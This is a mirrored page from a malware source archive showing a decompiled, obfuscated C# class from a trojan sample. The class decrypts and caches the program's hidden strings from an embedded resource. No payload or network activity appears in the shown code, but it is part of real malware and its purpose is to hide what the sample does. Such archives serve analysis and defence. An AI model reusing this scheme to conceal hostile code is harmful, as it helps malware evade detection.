mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 11:26:11 +00:00
f2ac1ece55
add
129 lines
3.7 KiB
C#
129 lines
3.7 KiB
C#
// Decompiled with JetBrains decompiler
|
||
// Type: .
|
||
// Assembly: MyApplication, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||
// MVID: 4C1CA376-1B35-4961-80E8-8029AD6B5A8B
|
||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Fsysna.deeq-bccdbf807edf4ae3f172c9e102415d19675fee38175dc7fe4f296402da8186a9.exe
|
||
|
||
using \u0003;
|
||
using \u0005;
|
||
using \u000F;
|
||
using \u0017;
|
||
using System;
|
||
using System.Collections;
|
||
using System.IO;
|
||
using System.Reflection;
|
||
using System.Runtime.InteropServices;
|
||
|
||
namespace \u0017
|
||
{
|
||
internal sealed class \u0004
|
||
{
|
||
[NonSerialized]
|
||
internal static \u0002 \u0001;
|
||
private static string \u0001;
|
||
private static string \u0002;
|
||
private static byte[] \u0003;
|
||
private static Hashtable \u0004;
|
||
private static bool \u0005;
|
||
private static int \u0006;
|
||
|
||
public static string \u0082([In] int obj0)
|
||
{
|
||
obj0 -= \u0004.\u0006;
|
||
if (\u0004.\u0005)
|
||
{
|
||
string str = (string) \u009C.\u007E\u0019\u0003((object) \u0004.\u0004, (object) obj0);
|
||
if (str != null)
|
||
return str;
|
||
}
|
||
int num1 = obj0;
|
||
byte[] numArray1 = \u0004.\u0003;
|
||
int index1 = num1;
|
||
int num2 = index1 + 1;
|
||
int num3 = (int) numArray1[index1];
|
||
int num4;
|
||
if ((num3 & 128) == 0)
|
||
{
|
||
num4 = num3;
|
||
if (num4 == 0)
|
||
return string.Empty;
|
||
}
|
||
else if ((num3 & 64) == 0)
|
||
{
|
||
num4 = ((num3 & 63) << 8) + (int) \u0004.\u0003[num2++];
|
||
}
|
||
else
|
||
{
|
||
int num5 = (num3 & 31) << 24;
|
||
byte[] numArray2 = \u0004.\u0003;
|
||
int index2 = num2;
|
||
int num6 = index2 + 1;
|
||
int num7 = (int) numArray2[index2] << 16;
|
||
int num8 = num5 + num7;
|
||
byte[] numArray3 = \u0004.\u0003;
|
||
int index3 = num6;
|
||
int num9 = index3 + 1;
|
||
int num10 = (int) numArray3[index3] << 8;
|
||
int num11 = num8 + num10;
|
||
byte[] numArray4 = \u0004.\u0003;
|
||
int index4 = num9;
|
||
num2 = index4 + 1;
|
||
int num12 = (int) numArray4[index4];
|
||
num4 = num11 + num12;
|
||
}
|
||
try
|
||
{
|
||
byte[] numArray5 = \u0087.\u008C\u0002(\u008B.\u007E\u0093\u0003((object) \u0003\u0003.\u0094\u0003(), \u0004.\u0003, num2, num4));
|
||
string str = \u0087\u0002.\u0080\u0002(\u008B.\u007E\u0093\u0003((object) \u0003\u0003.\u0094\u0003(), numArray5, 0, numArray5.Length));
|
||
if (\u0004.\u0005)
|
||
{
|
||
try
|
||
{
|
||
\u001E\u0002.\u007E\u0018\u0003((object) \u0004.\u0004, (object) obj0, (object) str);
|
||
}
|
||
catch
|
||
{
|
||
}
|
||
}
|
||
return str;
|
||
}
|
||
catch
|
||
{
|
||
return (string) null;
|
||
}
|
||
}
|
||
|
||
static \u0004()
|
||
{
|
||
\u0004.\u007F();
|
||
\u0004.\u0001 = "1";
|
||
\u0004.\u0002 = "129";
|
||
\u0004.\u0003 = (byte[]) null;
|
||
\u0004.\u0004 = (Hashtable) null;
|
||
\u0004.\u0005 = false;
|
||
\u0004.\u0006 = 0;
|
||
if (\u0082\u0002.\u0012\u0002(\u0004.\u0001, "1"))
|
||
{
|
||
\u0004.\u0005 = true;
|
||
\u0004.\u0004 = new Hashtable();
|
||
}
|
||
\u0004.\u0006 = \u009B.\u0089\u0002(\u0004.\u0002);
|
||
Assembly assembly = \u0091\u0002.\u0083\u0003();
|
||
Stream stream = \u0094\u0002.\u007E\u0081\u0003((object) assembly, "{4c1ca376-1b35-4961-80e8-8029ad6b5a8b}");
|
||
try
|
||
{
|
||
int length = \u0097.\u0088\u0002(\u0019\u0002.\u007E\u009A\u0003((object) stream));
|
||
byte[] numArray = new byte[length];
|
||
int num = \u009B\u0002.\u007E\u009D\u0003((object) stream, numArray, 0, length);
|
||
\u0004.\u0003 = \u000E.\u0081(numArray);
|
||
\u009E.\u007E\u009C\u0003((object) stream);
|
||
}
|
||
finally
|
||
{
|
||
if (stream != null)
|
||
\u009E.\u007E\u0011\u0002((object) stream);
|
||
}
|
||
}
|
||
}
|
||
}
|